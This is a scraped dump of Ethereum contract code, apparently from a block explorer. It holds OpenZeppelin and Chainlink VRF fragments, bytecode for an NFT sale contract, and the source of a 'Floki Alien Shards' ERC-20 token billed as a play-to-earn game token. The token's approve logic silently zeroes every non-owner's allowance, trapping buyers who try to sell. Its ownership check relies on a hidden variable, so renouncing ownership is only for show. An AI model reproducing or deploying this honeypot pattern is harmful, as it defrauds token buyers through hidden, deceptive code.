provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } }
0x6080604052600436106102045760003560e01c8063715018a611610118578063c54e73e3116100a0578063eedac3a61161006f578063eedac3a6146105e6578063f2c4ce1e1461061a578063f2fde38b1461063a578063f42176481461065a578063fdea8e0b1461067a57600080fd5b8063c54e73e314610548578063c87b56dd14610568578063dbdff2c114610588578063e985e9c51461059d57600080fd5b806394985ddd116100e757806394985ddd146104c057806395d89b41146104e0578063a22cb465146104f5578063b88d4fde14610515578063b98847721461053557600080fd5b8063715018a614610458578063722503801461046d578063729ad39e146104825780638da5cb5b146104a257600080fd5b80633af32abf1161019b57806355f804b31161016a57806355f804b3146103cb5780635a5e5d58146103eb5780635c975abb146103fe5780636352211e1461041857806370a082311461043857600080fd5b80633af32abf1461033d5780633ccfd60b1461037657806342842e0e1461038b57806351830227146103ab57600080fd5b806316c38b3c116101d757806316c38b3c146102ba57806323b872dd146102da5780632a3f300c146102fa5780632d3802421461031a57600080fd5b806301ffc9a71461020957806306fdde031461023e578063081812fc14610260578063095ea7b314610298575b600080fd5b34801561021557600080fd5b50610229610224366004612511565b610699565b60405190151581526020015b60405180910390f35b34801561024a57600080fd5b506102536106eb565b60405161023591906126f2565b34801561026c57600080fd5b5061028061027b3660046125ea565b61077d565b6040516001600160a01b039091168152602001610235565b3480156102a457600080fd5b506102b86102b3366004612370565b610817565b005b3480156102c657600080fd5b506102b86102d53660046124b8565b61092d565b3480156102e657600080fd5b506102b86102f5366004612286565b61096a565b34801561030657600080fd5b506102b86103153660046124b8565b61099b565b34801561032657600080fd5b5061032f6109e1565b604051908152602001610235565b34801561034957600080fd5b50610229610358366004612233565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561038257600080fd5b506102b86109f1565b34801561039757600080fd5b506102b86103a6366004612286565b610a8f565b3480156103b757600080fd5b50600d546102299062010000900460ff1681565b3480156103d757600080fd5b506102b86103e6366004612549565b610aaa565b6102b86103f93660046125ea565b610ae0565b34801561040a57600080fd5b50600d546102299060ff1681565b34801561042457600080fd5b506102806104333660046125ea565b610b8d565b34801561044457600080fd5b5061032f610453366004612233565b610c04565b34801561046457600080fd5b506102b8610c8b565b34801561047957600080fd5b50610253610cc1565b34801561048e57600080fd5b506102b861049d366004612409565b610d4f565b3480156104ae57600080fd5b506006546001600160a01b0316610280565b3480156104cc57600080fd5b506102b86104db3660046124f0565b610eaf565b3480156104ec57600080fd5b50610253610f35565b34801561050157600080fd5b506102b861051036600461233a565b610f44565b34801561052157600080fd5b506102b86105303660046122c1565b610f4f565b6102b86105433660046125ea565b610f87565b34801561055457600080fd5b506102b86105633660046124b8565b611048565b34801561057457600080fd5b506102536105833660046125ea565b61108c565b34801561059457600080fd5b5061032f611215565b3480156105a957600080fd5b506102296105b8366004612254565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156105f257600080fd5b506102807f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca81565b34801561062657600080fd5b506102b86106353660046125a4565b611385565b34801561064657600080fd5b506102b8610655366004612233565b6113c2565b34801561066657600080fd5b506102b8610675366004612399565b61145a565b34801561068657600080fd5b50600d5461022990610100900460ff1681565b60006001600160e01b031982166380ac58cd60e01b14806106ca57506001600160e01b03198216635b5e139f60e01b145b806106e557506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600080546106fa9061289c565b80601f01602080910402602001604051908101604052809291908181526020018280546107269061289c565b80156107735780601f1061074857610100808354040283529160200191610773565b820191906000526020600020905b81548152906001019060200180831161075657829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107fb5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061082282610b8d565b9050806001600160a01b0316836001600160a01b031614156108905760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107f2565b336001600160a01b03821614806108ac57506108ac81336105b8565b61091e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107f2565b6109288383611504565b505050565b6006546001600160a01b031633146109575760405162461bcd60e51b81526004016107f290612757565b600d805460ff1916911515919091179055565b6109743382611572565b6109905760405162461bcd60e51b81526004016107f29061278c565b610928838383611665565b6006546001600160a01b031633146109c55760405162461bcd60e51b81526004016107f290612757565b600d8054911515620100000262ff000019909216919091179055565b60006109ec60095490565b905090565b6006546001600160a01b03163314610a1b5760405162461bcd60e51b81526004016107f290612757565b6000610a2f6006546001600160a01b031690565b6001600160a01b03164760405160006040518083038185875af1925050503d8060008114610a79576040519150601f19603f3d011682016040523d82523d6000602084013e610a7e565b606091505b5050905080610a8c57600080fd5b50565b61092883838360405180602001604052806000815250610f4f565b6006546001600160a01b03163314610ad45760405162461bcd60e51b81526004016107f290612757565b610928600a83836120b2565b600d54610100900460ff1615610b2c5760405162461bcd60e51b815260206004820152601160248201527050726573616c652069732061637469766560781b60448201526064016107f2565b610b3d8166a25be86a3c400061283a565b3414610b845760405162461bcd60e51b8152602060048201526016602482015275125b98dbdc9c9958dd08195d1a195c88185b5bdd5b9d60521b60448201526064016107f2565b610a8c81611805565b6000818152600260205260408120546001600160a01b0316806106e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016107f2565b60006001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016107f2565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b03163314610cb55760405162461bcd60e51b81526004016107f290612757565b610cbf60006119f0565b565b600b8054610cce9061289c565b80601f0160208091040260200160405190810160405280929190818152602001828054610cfa9061289c565b8015610d475780601f10610d1c57610100808354040283529160200191610d47565b820191906000526020600020905b815481529060010190602001808311610d2a57829003601f168201915b505050505081565b6006546001600160a01b03163314610d795760405162461bcd60e51b81526004016107f290612757565b60026008541415610dcc5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016107f2565b6002600855805161167d90610de060095490565b610dea919061280e565b1115610e385760405162461bcd60e51b815260206004820152601960248201527f4e6f742074686973206d616e7920746f6b656e73206c6566740000000000000060448201526064016107f2565b60015b81518111610ea657610e51600980546001019055565b610e9482610e60600184612859565b81518110610e7e57634e487b7160e01b600052603260045260246000fd5b6020026020010151610e8f60095490565b611a42565b80610e9e816128d7565b915050610e3b565b50506001600855565b336001600160a01b037f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb79521614610f275760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c0060448201526064016107f2565b610f318282611a5c565b5050565b6060600180546106fa9061289c565b610f31338383611a7a565b610f593383611572565b610f755760405162461bcd60e51b81526004016107f29061278c565b610f8184848484611b49565b50505050565b600d54610100900460ff16610fd65760405162461bcd60e51b815260206004820152601560248201527450726573616c65206973206e6f742061637469766560581b60448201526064016107f2565b336000908152600e602052604090205460ff16610b2c5760405162461bcd60e51b815260206004820152602a60248201527f536f7272792c206e6f2061636365737320756e6c65737320796f7527726520776044820152691a1a5d195b1a5cdd195960b21b60648201526084016107f2565b6006546001600160a01b031633146110725760405162461bcd60e51b81526004016107f290612757565b600d80549115156101000261ff0019909216919091179055565b6000818152600260205260409020546060906001600160a01b03166110ec5760405162461bcd60e51b81526020600482015260166024820152751d1bdad95b925108191bd95cc81b9bdd08195e1a5cdd60521b60448201526064016107f2565b600d5462010000900460ff1661118e57600b80546111099061289c565b80601f01602080910402602001604051908101604052809291908181526020018280546111359061289c565b80156111825780601f1061115757610100808354040283529160200191611182565b820191906000526020600020905b81548152906001019060200180831161116557829003601f168201915b50505050509050919050565b6000611198611b7c565b9050600061167d600c54856111ad919061280e565b6111b791906128f2565b6111c290600161280e565b905060008251116111e2576040518060200160405280600081525061120d565b816111ec82611b8b565b6040516020016111fd929190612646565b6040516020818303038152906040525b949350505050565b6006546000906001600160a01b031633146112425760405162461bcd60e51b81526004016107f290612757565b6040516370a0823160e01b81523060048201527f0000000000000000000000000000000000000000000000001bc16d674ec80000907f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316906370a082319060240160206040518083038186803b1580156112c357600080fd5b505afa1580156112d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fb9190612602565b101561133b5760405162461bcd60e51b815260206004820152600f60248201526e4e6f7420656e6f756768204c494e4b60881b60448201526064016107f2565b6109ec7faa77729d3466ca35ae8d28b3bbac7cc36a5031efdc430821c02bc31a238af4457f0000000000000000000000000000000000000000000000001bc16d674ec80000611ca5565b6006546001600160a01b031633146113af5760405162461bcd60e51b81526004016107f290612757565b8051610f3190600b906020840190612136565b6006546001600160a01b031633146113ec5760405162461bcd60e51b81526004016107f290612757565b6001600160a01b0381166114515760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107f2565b610a8c816119f0565b6006546001600160a01b031633146114845760405162461bcd60e51b81526004016107f290612757565b60005b81811015610928576001600e60008585858181106114b557634e487b7160e01b600052603260045260246000fd5b90506020020160208101906114ca9190612233565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806114fc816128d7565b915050611487565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061153982610b8d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166115eb5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016107f2565b60006115f683610b8d565b9050806001600160a01b0316846001600160a01b031614806116315750836001600160a01b03166116268461077d565b6001600160a01b0316145b8061120d57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff1661120d565b826001600160a01b031661167882610b8d565b6001600160a01b0316146116e05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016107f2565b6001600160a01b0382166117425760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016107f2565b61174d600082611504565b6001600160a01b0383166000908152600360205260408120805460019290611776908490612859565b90915550506001600160a01b03821660009081526003602052604081208054600192906117a490849061280e565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600260085414156118585760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016107f2565b6002600855600d5460ff16156118b05760405162461bcd60e51b815260206004820152601a60248201527f506c65617365207761697420756e74696c20756e70617573656400000000000060448201526064016107f2565b600081116119005760405162461bcd60e51b815260206004820152601760248201527f4d696e74206174206c65617374206f6e6520746f6b656e00000000000000000060448201526064016107f2565b600a8111156119435760405162461bcd60e51b815260206004820152600f60248201526e26b0bc1018981020b63637bbb2b21760891b60448201526064016107f2565b61167d8161195060095490565b61195a919061280e565b11156119b95760405162461bcd60e51b815260206004820152602860248201527f4e6f7420656e6f75676820746f6b656e73206c65667420746f206d696e742074604482015267686174206d616e7960c01b60648201526084016107f2565b60015b818111610ea6576119d1600980546001019055565b6119de33610e8f60095490565b806119e8816128d7565b9150506119bc565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610f31828260405180602001604052806000815250611e30565b611a6861167d826128f2565b611a7390600161280e565b600c555050565b816001600160a01b0316836001600160a01b03161415611adc5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016107f2565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611b54848484611665565b611b6084848484611e63565b610f815760405162461bcd60e51b81526004016107f290612705565b6060600a80546106fa9061289c565b606081611baf5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611bd95780611bc3816128d7565b9150611bd29050600a83612826565b9150611bb3565b60008167ffffffffffffffff811115611c0257634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611c2c576020820181803683370190505b5090505b841561120d57611c41600183612859565b9150611c4e600a866128f2565b611c5990603061280e565b60f81b818381518110611c7c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611c9e600a86612826565b9450611c30565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795284866000604051602001611d15929190918252602082015260400190565b6040516020818303038152906040526040518463ffffffff1660e01b8152600401611d42939291906126c2565b602060405180830381600087803b158015611d5c57600080fd5b505af1158015611d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9491906124d4565b50600083815260076020818152604080842054815180840189905280830186905230606082015260808082018390528351808303909101815260a090910190925281519183019190912093879052919052611df090600161280e565b60008581526007602052604090205561120d8482604080516020808201949094528082019290925280518083038201815260609092019052805191012090565b611e3a8383611f70565b611e476000848484611e63565b6109285760405162461bcd60e51b81526004016107f290612705565b60006001600160a01b0384163b15611f6557604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611ea7903390899088908890600401612685565b602060405180830381600087803b158015611ec157600080fd5b505af1925050508015611ef1575060408051601f3d908101601f19168201909252611eee9181019061252d565b60015b611f4b573d808015611f1f576040519150601f19603f3d011682016040523d82523d6000602084013e611f24565b606091505b508051611f435760405162461bcd60e51b81526004016107f290612705565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061120d565b506001949350505050565b6001600160a01b038216611fc65760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016107f2565b6000818152600260205260409020546001600160a01b03161561202b5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016107f2565b6001600160a01b038216600090815260036020526040812080546001929061205490849061280e565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546120be9061289c565b90600052602060002090601f0160209004810192826120e05760008555612126565b82601f106120f95782800160ff19823516178555612126565b82800160010185558215612126579182015b8281111561212657823582559160200191906001019061210b565b506121329291506121aa565b5090565b8280546121429061289c565b90600052602060002090601f0160209004810192826121645760008555612126565b82601f1061217d57805160ff1916838001178555612126565b82800160010185558215612126579182015b8281111561212657825182559160200191906001019061218f565b5b8082111561213257600081556001016121ab565b600067ffffffffffffffff8311156121d9576121d9612932565b6121ec601f8401601f19166020016127dd565b905082815283838301111561220057600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461222e57600080fd5b919050565b600060208284031215612244578081fd5b61224d82612217565b9392505050565b60008060408385031215612266578081fd5b61226f83612217565b915061227d60208401612217565b90509250929050565b60008060006060848603121561229a578081fd5b6122a384612217565b92506122b160208501612217565b9150604084013590509250925092565b600080600080608085870312156122d6578081fd5b6122df85612217565b93506122ed60208601612217565b925060408501359150606085013567ffffffffffffffff81111561230f578182fd5b8501601f8101871361231f578182fd5b61232e878235602084016121bf565b91505092959194509250565b6000806040838503121561234c578182fd5b61235583612217565b9150602083013561236581612948565b809150509250929050565b60008060408385031215612382578182fd5b61238b83612217565b946020939093013593505050565b600080602083850312156123ab578182fd5b823567ffffffffffffffff808211156123c2578384fd5b818501915085601f8301126123d5578384fd5b8135818111156123e3578485fd5b8660208260051b85010111156123f7578485fd5b60209290920196919550909350505050565b6000602080838503121561241b578182fd5b823567ffffffffffffffff80821115612432578384fd5b818501915085601f830112612445578384fd5b81358181111561245757612457612932565b8060051b91506124688483016127dd565b8181528481019084860184860187018a1015612482578788fd5b8795505b838610156124ab5761249781612217565b835260019590950194918601918601612486565b5098975050505050505050565b6000602082840312156124c9578081fd5b813561224d81612948565b6000602082840312156124e5578081fd5b815161224d81612948565b60008060408385031215612502578182fd5b50508035926020909101359150565b600060208284031215612522578081fd5b813561224d81612956565b60006020828403121561253e578081fd5b815161224d81612956565b6000806020838503121561255b578182fd5b823567ffffffffffffffff80821115612572578384fd5b818501915085601f830112612585578384fd5b813581811115612593578485fd5b8660208285010111156123f7578485fd5b6000602082840312156125b5578081fd5b813567ffffffffffffffff8111156125cb578182fd5b8201601f810184136125db578182fd5b61120d848235602084016121bf565b6000602082840312156125fb578081fd5b5035919050565b600060208284031215612613578081fd5b5051919050565b60008151808452612632816020860160208601612870565b601f01601f19169290920160200192915050565b60008351612658818460208801612870565b83519083019061266c818360208801612870565b64173539b7b760d91b9101908152600501949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906126b89083018461261a565b9695505050505050565b60018060a01b03841681528260208201526060604082015260006126e9606083018461261a565b95945050505050565b60208152600061224d602083018461261a565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561280657612806612932565b604052919050565b6000821982111561282157612821612906565b500190565b6000826128355761283561291c565b500490565b600081600019048311821515161561285457612854612906565b500290565b60008282101561286b5761286b612906565b500390565b60005b8381101561288b578181015183820152602001612873565b83811115610f815750506000910152565b600181811c908216806128b057607f821691505b602082108114156128d157634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156128eb576128eb612906565b5060010190565b6000826129015761290161291c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b8015158114610a8c57600080fd5b6001600160e01b031981168114610a8c57600080fdfea264697066735822122047f7c4c538018f23dc85a068e5d0fd6c9bcf038ce2ec99fb166cba258edbf14b64736f6c63430008040033
[ 5 ]
0xf3a7de45653d2024c6e8099d532a4ac49c4b2753
/* Floki Alien Ethereum ERC-20 Play-to-Earn Game / DAO Token */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract FlokiAlienShards is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 99* 10**9 * 10**18; string private _name = ' Floki Alien Shards '; string private _symbol = 'FAS'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff